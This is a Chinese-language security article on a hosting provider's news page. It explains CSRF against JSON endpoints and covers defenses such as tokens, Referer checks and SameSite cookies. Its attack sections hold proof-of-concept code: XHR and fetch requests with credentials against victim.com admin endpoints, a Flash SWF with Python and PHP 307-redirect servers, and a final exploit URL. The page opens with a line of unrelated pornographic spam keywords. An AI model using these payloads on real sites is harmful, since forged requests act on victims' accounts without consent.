国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

安全播報

防御吧作為15年知名老牌域名服務商,CNNIC和CANN雙認證域名注冊商,已經(jīng)
持續(xù)為500多萬個域名提供服務,包括智能DNS/自由轉移/隱私保護等服務!
json格式下csrf攻擊怎么實現(xiàn)呢?如何防御?
2019-06-27 13:37:23 【

csrf漏洞的成因就是網(wǎng)站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要是訪問這個網(wǎng)站,都會默認你已經(jīng)登錄的狀態(tài)。而在這個期間,攻擊者發(fā)送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執(zhí)行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執(zhí)行的。

在post標準化格式(accounts=test&password=aaa)的表單頁面中,在沒有csrf防護的前提下,我們能很輕松地構造頁面來實現(xiàn)攻擊,但是在json格式下,csrf攻擊怎么實現(xiàn)呢?

那我們?yōu)楹尾荒苁褂眠@個常規(guī)構造的PoC來利用JSON端點中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式發(fā)送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。

2、Content-Type頭需要設置為application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發(fā)送OPTIONS預檢請求。

1.1 防御方案

關于防御方案,一般有如下幾種:

1)用戶操作驗證,在提交數(shù)據(jù)時需要輸入驗證碼

2)請求來源驗證,驗證請求來源的referer

3)表單token驗證

現(xiàn)在業(yè)界對CSRF的防御,一致的做法是使用一個Token(Anti CSRF Token)。

這個Token的值必須是隨機的,不可預測的。由于Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,盡量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token泄露。

例子:

第一步:用戶訪問某個表單頁面。

第二步:服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。

第三步:在頁面表單附帶上Token參數(shù)。

第四步:用戶提交請求后,服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致, 一致為合法請求,不是則非法請求。

4) 在前后端分離的前提下(例如使用ajax提交數(shù)據(jù))設置不了token,可以給 cookie 新增 SameSite 屬性,通過這個屬性可以標記哪個 cookie 只作為同站 cookie (即第一方 cookie,不能作為第三方 cookie),既然不能作為第三方 cookie ,那么別的網(wǎng)站發(fā)起第三方請求時,第三方網(wǎng)站是收不到這個被標記關鍵 cookie,后面的鑒權處理就好辦了。這一切都不需要做 token 生命周期的管理,也不用擔心 Referer 會丟失或被中途被篡改。

SameStie 有兩個值:Strict 和 Lax:

SameSite=Strict 嚴格模式,使用 SameSite=Strict 標記的 cookie 在任何情況下(包括異步請求和同步請求),都不能作為第三方 cookie。

SameSite=Lax 寬松模式,使用 SameSite=Lax 標記的 cookie 在異步請求 和 form 提交跳轉的情況下,都不能作為第三方 cookie。

那么Strict和Lax的如何使用呢?

登錄態(tài)關鍵的 cookie 都可以設置為 Strict。

后臺根據(jù)用戶的登錄態(tài)動態(tài)新建一個可以用于校驗登錄態(tài)的 cookie ,設置為 Lax ,這樣的話對外推廣比如微博什么的,你希望用戶在微博上打開你的鏈接還能保持登錄態(tài)。

如果你的頁面有可能被第三方網(wǎng)站去iframe或有接口需要做jsonp ,那么都不能設置 Strict 或 Lax。

一、不驗證CONTENT-TYPE的情況

如果服務端沒有校驗Content-Type,或者沒有嚴格校驗Content-Type是否為application/json,我們可以使用XHR來實現(xiàn)csrf,poc如下:

<html> <head> <scriptstyle="text/java script">      functionsubmitRequest()      {        var xhr = new XMLHttpRequest();        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");        xhr.withCredentials = true;        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q區(qū)","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晉城市","region":"陵川縣","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));    }   </script> </head>  <body>        <formaction="#">      <inputtype="button"value="Submit request"onClick="submitRequest()"/>    </form>  </body>  </html>

二、驗證CONTENT-TYPE的情況

當然了,使用XMLHttpRequest、fetch能構造出JSON請求,并且能設置Content-Type,但是無法跨域。

fetch發(fā)起的請求代碼:

<html><title>JSON CSRF POC</title><script>    fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script></form></html>

我們可以利用Flash的跨域與307跳轉來繞過http自定義頭限制,307跟其他3XX HTTP狀態(tài)碼之間的區(qū)別就在于,HTTP 307可以確保重定向請求發(fā)送之后,請求方法和請求主體不會發(fā)生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,并完成攻擊。

2.1 創(chuàng)建flash文件

為了創(chuàng)建能夠發(fā)送Web請求的csrf.swf文件,我們需要按照以下步驟操作:

安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。

創(chuàng)建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。

獲取托管Flash文件的主機系統(tǒng)(攻擊者的服務器)IP地址/域名,并替換掉代碼中的。

運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。

2.2 創(chuàng)建web服務器

1、使用python作為服務器(此方法不推薦):

先創(chuàng)建as文件,用上述步驟編譯:

package{  import flash.display.Sprite;  import flash.net.URLLoader;  import flash.net.URLRequest;  import flash.net.URLRequestHeader;  import flash.net.URLRequestMethod;  public classcsrfextendsSprite  {    public functioncsrf()    {      super();      var member1:Object = null;      var myJson:String = null;      member1 = newObject();      member1 ={"id":102};      var myData:Object = member1;      myJson = JSON.stringify(myData);      myJson = JSON.stringify(myData);      var url:String = "http://172.16.11.110:8000/";      var request:URLRequest = new URLRequest(url);      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));      request.data = myJson;      request.method = URLRequestMethod.POST;      var urlLoader:URLLoader = new URLLoader();   try      {          urlLoader.load(request);          return;      }      catch(e:Error)      {          trace(e);          return;      }    }  }}

借助GitHub上的json-flash-csrf-poc(https://github.com/appsecco/json-flash-csrf-poc),我們可以生成一個簡單的python web服務器

pyserver.py:

import BaseHTTPServerimport timeimport sysHOST = '' PORT = 8000classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):    defdo_POST(s):       # dir(s)        if s.path == '/csrf.swf':           s.send_response(200)           s.send_header("Content-Type","application/x-shockwave-flash")           s.end_headers()           s.wfile.write(open("csrf.swf", "rb").read())           return         s.send_response(307)        s.send_header("Location", "https://victim-site/userdelete")        s.end_headers()    defdo_GET(s):        print(s.path)        s.do_POST()    if __name__ == '__main__':    server_class = BaseHTTPServer.HTTPServer    httpd = server_class((HOST, PORT), RedirectHandler)    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)    try:        httpd.serve_forever()    except KeyboardInterrupt:        pass    httpd.server_close()    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

2、使用apache的php頁面作為服務端(首選方法):

我們也可以使用php來作為307跳轉的服務端,參考GitHub上的swf_json_csrf(https://github.com/sp1d3r/swf_json_csrf)。

csrf.as:

package{   import flash.display.Sprite;   import flash.net.URLLoader;   import flash.net.URLRequest;   import flash.net.URLRequestHeader;   import flash.net.URLRequestMethod;      public classcsrfextendsSprite   {                   public functioncsrf()      {         super();         var myJson:String = this.root.loaderInfo.parameters.jsonData;         var url:String = this.root.loaderInfo.parameters.php_url;         var endpoint:String = this.root.loaderInfo.parameters.endpoint;         var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";         var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);         request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));         request.data = myJson;         request.method = URLRequestMethod.POST;         var urlLoader:URLLoader = new URLLoader();         try         {            urlLoader.load(request);            return;         }         catch(e:Error)         {            trace(e);            return;         }      }   }}

307.php:

<?php$victim_url = $_GET['endpoint'];header("Location: $victim_url", true, 307)?>

最后使用的poc是:


http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json


三、更進一步探索

當訪問最后的POC,過程如下:

1、受害者訪問POC,向attacter.com發(fā)起一條swf請求,swf向307.php發(fā)送HTTP POST請求。

2、attacter.com的307.php發(fā)起307跳轉,跳轉到victim.com,注意307跳轉會帶著http請求方式,header和postdata進行跳轉。

3、victim.com收到一條POST請求,并且Content-Type為application/json。

4、victim.com收到一條/crossdomain.xml請求。由于第三步優(yōu)先第四步執(zhí)行,導致跨域。并且victim.com能收到crossdomain.xml請求,也證明了第三步的POST請求是Flash發(fā)出,而不是307.php發(fā)出。因為307.php單獨發(fā)出的post請求不會主動請求crossdomain.xml。

我們知道,服務器A的Flash如果要向B發(fā)起一條HTTP請求,會先請求服務器B的crossdomain.xml文件,判斷是否能跨域,如果文件沒有,或者xml文件設置不能跨域,則不能跨域。

既然可以設置Content-Type,那么能設置Referer嗎。如果能,那驗證Referer的CSRF豈不都能繞過?

其實Flash的Header存在一個黑名單,黑名單列表的頭不允許設置,其中就有Referer。不能設置的頭標如下:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

四、實際測試效果

這種flash+307跳轉攻擊方法只能在舊版瀏覽器適用,在2018年后更新版本的幾乎所有瀏覽器,307跳轉的時候并沒有把Content-Type傳過去而導致csrf攻擊失敗。所以還望尋找一種新的攻擊方法,本文的json csrf攻擊方法僅僅是作為一種記錄,在某些情況下還是能用到的。


】【打印關閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇思科修補了數(shù)據(jù)中心網(wǎng)絡管理器中.. 下一篇關于Linux和FreeBSD內(nèi)核多個安全..

立足首都,輻射全球,防御吧專注云防御及云計算服務15年!

聯(lián)系我們

服務熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術支持
售后服務/財務
備案專員
緊急電話:18610088800